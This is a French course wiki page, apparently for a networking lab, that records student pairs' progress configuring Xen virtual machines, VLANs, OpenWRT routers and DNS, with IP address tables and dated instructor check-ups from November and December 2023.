| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef6:364f, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Bogden || Black Baptiste
| IPv4 sur CV : 10.0.69.246, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe67:89fd, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, pas de serveur DNS.
|-
| jiruus || Jeanne Delcourt
| IPv4 sur CV : 192.168.19.3, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe9c:6f0e, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.
|-
| exegol || Estelle Godard
| IPv4 sur CV : 192.168.19.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe17:bc38, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.
|-
| Jakku || Jason DELANNOY
| IPv4 sur CV : 10.0.69.136, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee1:1e4d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.
|-
| naboo || Chloé Lemaire
| IPv4 sur CV : 192.168.18.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef2:7e2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.
|-
| geonosis || Gabriel THOMAS
| IPv4 sur CV : 192.168.18.3, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feb0:b140, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, serveur DNS fonctionnel (aide massive).
|-
| alderaan || Albin MOUTON
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe97:2114, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| kesh || Konstantin Patrikeev
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe10:e2cb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| kashyyyk || Maxime BALBASTRE
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feca:73e7, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Felucia || François NAUDOT
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe89:460a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| pelagon || Paul Amoros
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe03:2af3, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| endor || Maël Delaby
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe5f:ebac, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel (mauvais domaine).
|-
| Kalee || Karl Harbre
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe45:42ed, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|}

Machines mandataires.

{| class="wikitable"
! Elèves !! Nom machine !! Configuration IP
|-
| Elias SIMON & Mathis RIFFAUT || Baloo
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fec8:5379, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Dann RODENBURG & Amine SELLALI || Aladin
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe6b:c000, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Mohammed Halaoui & Rémi Farault || Dingo
| IPv4 sur CV : 193.48.57.181 10.0.69.156, IPv4 sur SE5 : 193.48.57.181, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0d:4f9c, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Benjamin Nguyen & Timothé Brenier || Timon
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fedc:7539, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Florian Vallée & Maxime BALBASTRE || mushu
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe20:8816, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.pas de serveur DNS.z
|-
| Haitam Blgrim & Black Baptiste || BlancheNeige
| IPv4 sur CV : 193.48.57.187 10.0.69.182, IPv4 sur SE5 : 193.48.57.187, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feba:38f4, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, <code>bind9</code> installé sans plus.
|-
| Jeanne Delcourt & Estelle Godard || cruella
| IPv4 sur CV : 193.48.57.186 192.168.19.1, IPv4 sur SE5 : 193.48.57.186, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee5:ff99, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré.
|-
| Jason DELANNOY & Albin MOUTON || Jafar
| IPv4 sur CV : 193.48.57.183 10.0.69.1, IPv4 sur SE5 : 193.48.57.183, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe3e:f0bb, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, <code>bind9</code> installé sans plus.
|-
| Chloé Lemaire & Gabriel THOMAS || bouh
| IPv4 sur CV : 193.48.57.180 192.168.18.1, IPv4 sur SE5 : 193.48.57.180, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe4f:dde2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré.
|-
| Konstantin Patrikeev & Julien Charleux || judy
| IPv4 sur CV : 193.48.57.182, IPv4 sur SE5 : 193.48.57.182, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7d:4762, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, pas de serveur DNS.
|-
| Paul Amoros & Maël Delaby || mickey
| IPv4 sur CV : 193.48.57.188 10.10.10.2 10.10.10.1, IPv4 sur SE5 : 193.48.57.188, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe34:13d5, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré mais le répertoire pour les zones secondaires n'existe pas, l'écriture échoue.
|-
| François NAUDOT & Karl HABRE || Ursula
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe33:7f89, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.
|-
|}

== Répartition des binômes en ASR ==

Donnez les élèves dans chaque groupe.

{| class="wikitable"
! Groupe !! Elèves
|-
| g1 || Konstantin Patrikeev & Julien Charleux
|-
| g2 || Chloé Lemaire & Gabriel Thomas
|-
| g3 || Timothé Brenier & Benjamin Nguyen
|-
| g4 || François Naudot & Dann Rodenburg
|-
| g5 || Maël Delaby & Paul Amoros
|-
| g6 || Haitam Blgrim & Baptiste Black
|-
| g7 || Jason Delannoy & Albin Mouton
|-
| g8 || Elias Simon & Mathis Riffaut
|-
| g10 || Estelle Godard & Jeanne Delcourt
|-
| g11 || Karl Habre & Amine Sellali
|-
| g12 || Mohammed Halaoui & Rémi Farault
|-
|g13
|Maxime Balbastre & Florian Vallée
|}

Le 05/11/2023, aucun commutateur virtuel correctement configuré, soit une adresse IPv4 sur le commutateur pour aucune raison, soit une configuration <code>static</code> non adaptée, pas de <code>up</code> sur le commutateur virtuel.

== Contrôle continu ==

=== Contrôle au 05/11/2023 ===

{| class="wikitable"
! Groupe !! Elèves !! Migration !! Archi. penfret !! Archi. antifer
|-
| g1 || Konstantin Patrikeev & Julien Charleux || || jcharleu, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || kpatrikee, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le <code>.cfg</code>
|-
| g2 || Chloé Lemaire & Gabriel Thomas || || gthomas, CV conf. erronée, MV mdp erroné, interf. vlan50 || clemair1, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, une seule interface réseau, pas de config. réseau
|-
| g3 || Timothé Brenier & Benjamin Nguyen || || bnguyen1, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || tbrenier, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le <code>.cfg</code>
|-
| g4 || François Naudot & Dann Rodenburg || || drodenbu, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || fnaudot, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le <code>.cfg</code>
|-
| g5 || Maël Delaby & Paul Amoros || || pas de CV, pas de MV || mdelaby, CV conf. erronée, pygrub dans la MV ? pas de routeur, faut lui créer son propre <code>.cfg</code>
|-
| g6 || Haitam Blgrim & Baptiste Black || || hblgrim, CV conf. erronée, MV avec 2 interfaces, pas de MAC sur la 1ère, config. IPv4 OK || bblack, CV commenté, pas de MV (plus exactement une machine visible via <code>xen list</code> mais pas de <code>.cfg</code> dans <code>/etc/xen</code>), pas de routeur OpenWRT
|-
| g7 || Jason Delannoy & Albin Mouton || || jdelanno, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || amouton, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, une seule interface réseau
|-
| g8 || Elias Simon & Mathis Riffaut || || mriffaut, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || esimon, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, pas de routeur
|-
| g10 || Estelle Godard & Jeanne Delcourt || || jdelcour, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || egodard, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, deux interfaces réseau, changez l'ordre des interfaces dans le <code>.cfg</code>
|-
| g11 || Karl Habre & Amine Sellali || || khabre, CV conf. erronée, MV non créée, MV interf. vlan50, pas de config. IPv4 || asellali, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur avec une définition de disque aberrante dans le <code>.cfg</code>
|-
| g12 || Mohammed Halaoui & Rémi Farault || || rfarault, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || pas de CV, MV interf. vlan50, pas de config. IPv4, pas de routeur
|}

=== Contrôle au 20/11/2023 ===

A noter qu'un sacré coup de pouce aura été nécessaire pour configurer le routeur de promotion, avec un seul élève en appui.

{| class="wikitable"
! Groupe !! Elèves !! Migration !! Archi. penfret !! Archi. antifer
|-
| g1 || Konstantin Patrikeev & Julien Charleux || || jcharleu, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || kpatrikee, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code>
|-
| g2 || Chloé Lemaire & Gabriel Thomas || || gthomas, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || clemair1, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4, routeur lancé et correctement configuré
|-
| g3 || Timothé Brenier & Benjamin Nguyen || || bnguyen1, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || tbrenier, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code>, deux interfaces cependant
|-
| g4 || François Naudot & Dann Rodenburg || || drodenbu, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || fnaudot, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code>, deux interfaces cependant
|-
| g5 || Maël Delaby & Paul Amoros || || toujours pas de CV, pas de VLAN, toujours pas de MV || mdelaby, CV configuration toujours erronée, pas de VLAN, toujours le bootloader <code>pygrub</code> dans la MV (commenté), MV avec une seule interface réseau (dans le CV), configuration DHCP OK pour l'interface (dans le CV), toujours pas de routeur : il faut lui créer son propre <code>.cfg</code>
|-
| g6 || Haitam Blgrim & Baptiste Black || || hblgrim, CV conf. toujours erronée, pas de VLAN, MV ne démarre pas à cause de l'erreur sur le CV (correction ReX sur le CV), MV avec 2 interfaces, pas de MAC sur la première interface dans le .cfg, configuration IPv4 OK dans la MV || bblack, CV configuration toujours erronée, pas de VLAN, toujours pas e <code>.cfg</code> pour la MV, un routeur OpenWRT avec la bonne définition de disque, deux interface mais sans @MAC, aucune configuration du routeur
|-
| g7 || Jason Delannoy & Albin Mouton || || jdelanno, CV conf. toujours, erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || amouton, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, une seule interface réseau, pas de configuration du routeur
|-
| g8 || Elias Simon & Mathis Riffaut || || mriffaut, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || esimon, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur
|-
| g10 || Estelle Godard & Jeanne Delcourt || || jdelcour, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || egodard, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, deux interfaces réseau, pas de configuration du routeur
|-
| g11 || Karl Habre & Amine Sellali || || khabre, CV conf. toujours erronée, pas de VLAN, MV enfin créée avec une seule interface, pas de configuration IPv4 correcte || asellali, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur avec une définition de disque aberrante dans le <code>.cfg</code>, une seule interface, pas de configuration du routeur
|-
| g12 || Mohammed Halaoui & Rémi Farault || || rfarault, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || pas de CV, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur
|}

=== Contrôle au 30/11/2023 ===

{| class="wikitable"
! Groupe !! Elèves !! Archi. penfret !! Archi. antifer
|-
| g1 || Konstantin Patrikeev & Julien Charleux || jcharleu, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || kpatrikee, CV et VLAN configurés mais dites moi comment vous trouvez 1 avec la formule <code>6+N%4</code>, MV avec les bonnes interfaces, inversion dans la configuration IPv4 entre <code>enX0</code> et <code>enX1</code>, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code> par contre les deux interfaces demandées sont présentes.
|-
| g2 || Chloé Lemaire & Gabriel Thomas || gthomas, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4. || clemair1, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4, routeur lancé et correctement configuré.
|-
| g3 || Timothé Brenier & Benjamin Nguyen || bnguyen1, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || tbrenier, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code>, deux interfaces cependant.
|-
| g4 || François Naudot & Dann Rodenburg || drodenbu, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || fnaudot, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le <code>.cfg</code>, deux interfaces cependant.
|-
| g5 || Maël Delaby & Paul Amoros || toujours pas de CV, pas de VLAN, toujours pas de MV. || mdelaby, CV configuration toujours erronée, pas de VLAN, toujours le bootloader <code>pygrub</code> dans la MV (commenté), MV avec un chemin des disques étranges, MV avec une seule interface réseau (dans le CV), configuration DHCP OK pour l'interface (dans le CV), toujours pas de routeur : il faut lui créer son propre <code>.cfg</code>.
|-
| g6 || Haitam Blgrim & Baptiste Black || hblgrim, il manque les directives pour démarrer et arrêter les interfaces mais sinon CV et VLAN configurés, MV lancé et configurée, il ne faut pas de <code>gateway</code> sur <code>enX1</code>, <code>enX0</code> ne trouve pas son adresse par DHCP à cause du commutateur virtuel non activé. || bblack, CV et VLAN configurés mais pas toutes les directives de démarrage et d'arrêt, toujours pas de <code>.cfg</code> pour la MV, un routeur OpenWRT avec la bonne définition de disque, deux interface mais sans @MAC, aucune configuration du routeur.
|-
| g7 || Jason Delannoy & Albin Mouton || jdelanno, CV conf. toujours, erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte; || amouton, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, une seule interface réseau, pas de configuration du routeur.
|-
| g8 || Elias Simon & Mathis Riffaut || mriffaut, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte. || esimon, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur.
|-
| g10 || Estelle Godard & Jeanne Delcourt || jdelcour, CV configuré, VLAN configuré (par contre l'utilisation de <code>ether4</code> est impossible), MV lancée et correctement configurée en IPv4, <code>enX0</code> ne trouve pas son @IPv4 à cause de l'erreur sur le VLAN. || egodard, CV configuré, VLAN configuré (par contre l'utilisation de <code>ether4</code> est impossible), MV avec deux interfaces, correctement configurée en IPv4, pas d'adresse obtenue par DHCP, problème de l'OpenWRT, routeur OpenWRT avec les bonnes interfaces, l'adresse IPv4 sur SE5 est donnée avec un mauvais masque, linterface <code>enX0</code> reçoit bien son adresse IPv4 par DHCP.
|-
| g11 || Karl Habre & Amine Sellali || khabre, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface, pas de configuration IPv4 correcte || asellali, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur avec une définition de disque aberrante dans le <code>.cfg</code>, une seule interface, pas de configuration du routeur
|-
| g12 || Mohammed Halaoui & Rémi Farault || rfarault, CV configuré, VLAN configuré mais configuration commentée (pourquoi donc ?!), MV lancée et correctement configurée en IPv4, <code>enX0</code> ne trouve pas son @IPv4 à cause de l'absence d'interface VLAN. || CV configuré, VLAN configuré, MV avec deux interfaces, correctement configurée en IPv4, un routeur avec les deux interfaces demandées, pas d'adresse IPv4 sur SE5, serveur DHCP fonctionnel.
|}

=== Contrôle au 02/12/2023 ===

{| class="wikitable"
! Groupe !! Elèves !! MV <code>penfret</code> !! MV <code>antifer</code> !! Routeur OpenWRT
|-
| g1 || Konstantin Patrikeev & Julien Charleux
| IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas d'IPv4 routée sur Internet, une IPv6 routée sur Internet, pas de connexion à Internet en IPv4
|-
| g2 || Chloé Lemaire & Gabriel Thomas
| IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.180, une IPv6 routée sur Internet, connexion à Internet en IPv4 possible
|-
| g3 || Timothé Brenier & Benjamin Nguyen
| MV non contactable sur le VLAN 50 en IPv6
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| routeur openWRT non fonctionnel
|-
| g4 || François Naudot & Dann Rodenburg
| MV non contactable sur le VLAN 50 en IPv6
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| routeur openWRT non fonctionnel (si ? non, inversion des <code>vif</code>)
|-
| g5 || Maël Delaby & Paul Amoros
| MV non contactable sur le VLAN 50 en IPv6
| image disque du fichier de configuration non présente sur <code>antifer</code>
| routeur openWRT non fonctionnel
|-
| g6 || Haitam Blgrim & Baptiste Black
| MV non contactable sur le VLAN 50 en IPv6
| pas de fichier de configuration
| routeur openWRT non fonctionnel
|-
| g7 || Jason Delannoy & Albin Mouton
| MV non contactable sur le VLAN 50 en IPv6
| machine non contactable en IPv6 sur le bridgeStudents
| pas d'adresse MAC dans le fichier de configuration
|-
| g8 || Elias Simon & Mathis Riffaut
| MV non contactable sur le VLAN 50 en IPv6
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.116, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe01:754c, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| routeur openWRT non fonctionnel
|-
| g10 || Estelle Godard & Jeanne Delcourt
| IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.191, une IPv6 routée sur Internet, pas de connexion à Internet en IPv4
|-
| g11 || Karl Habre & Amine Sellali
| MV non contactable sur le VLAN 50 en IPv6
| machine non contactable en IPv6 sur le bridgeStudents
| pas d'adresse MAC dans le fichier de configuration, création du routeur impossible
|-
| g12 || Mohammed Halaoui & Rémi Farault
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas d'IPv4 routée sur Internet, pas d'IPv6 routée sur Internet, pas de connexion à Internet en IPv4
|-
|}

=== Contrôle au 05/12/2023 ===

Pour utiliser l'interface Web LuCi des openWRT à partir d'une zabeth :
* vérifiez que vous avez bien une IPv6 routée sur IPv6 (avec <code>ip address show dev eth0</code>, l'adresse commence par <code>2001:660:4401:60b0:</code>) ;
* si vous n'en avez pas, prenez le suffixe (les derniers 8 octets de l'adresse locale, celle qui commence par <code>fe80::</code>) et créez votre adresse IPv6 routée par la commande :
ip address add dev eth0 2001:660:4401:60b0:<suffixe>/64
bien entendu vous n'aurez oublié de rajouter la route IPv6 par défaut vers le routeur de la promotion :
ip -6 route add default via 2001:660:4401:60b0:6a9e:bff:fe46:5a76
* établissez un tunnel <code>ssh</code> avec la commande :
zabethXX# ssh -L 6443:localhost:6443 root@IPv6
* connectez vous sur LuCi avec le navigateur de la zabeth pointant sur <code>https://localhost:6443</code>.

Attention l'ordre des interfaces <code>vif</code> dans le <code>.cfg</code> a une importance.

{| class="wikitable"
! Groupe !! Elèves !! MV <code>penfret</code> !! MV <code>antifer</code> !! Routeur OpenWRT
|-
| g1 || Konstantin Patrikeev & Julien Charleux
| IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas d'IPv4 routée sur Internet (puis <code>193.48.57.191</code> donc une erreur), pas d'IPv6 routée sur Internet, pas de connexion à Internet en IPv4
|-
| g2 || Chloé Lemaire & Gabriel Thomas
| IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.180, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe31:b916, connexion à Internet en IPv4 possible
|-
| g3 || Timothé Brenier & Benjamin Nguyen
| IPv4 sur CV : 10.0.69.130, IPv4 sur VLAN50 : 172.26.145.107, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feff:4c44, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.167, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.184, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feaa:f293, connexion à Internet en IPv4 possible
|-
| g4 || François Naudot & Dann Rodenburg
| IPv4 sur CV : 10.0.69.156, IPv4 sur VLAN50 : 172.26.145.109, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe46:70cd, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.106, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.185, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fec6:169, connexion à Internet en IPv4 possible
|-
| g5 || Maël Delaby & Paul Amoros
| IPv4 sur CV : 10.0.69.189, IPv4 sur VLAN50 : 172.26.145.111, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe14:cdb5, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.171, IPv4 sur VLAN50 : 172.26.145.110, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe5b:b2b5, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.188, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe5b:b2b6, connexion à Internet en IPv4 possible
|-
| g6 || Haitam Blgrim & Baptiste Black
| IPv4 sur CV : 10.0.69.100, IPv4 sur VLAN50 : 172.26.145.113, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fef9:2bb9, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas de machine virtuelle
| bloquage du serveur <code>antifer</code> par installation du routeur openWRT sous la racine, machine non contactable en IPv6 sur le SE5
|-
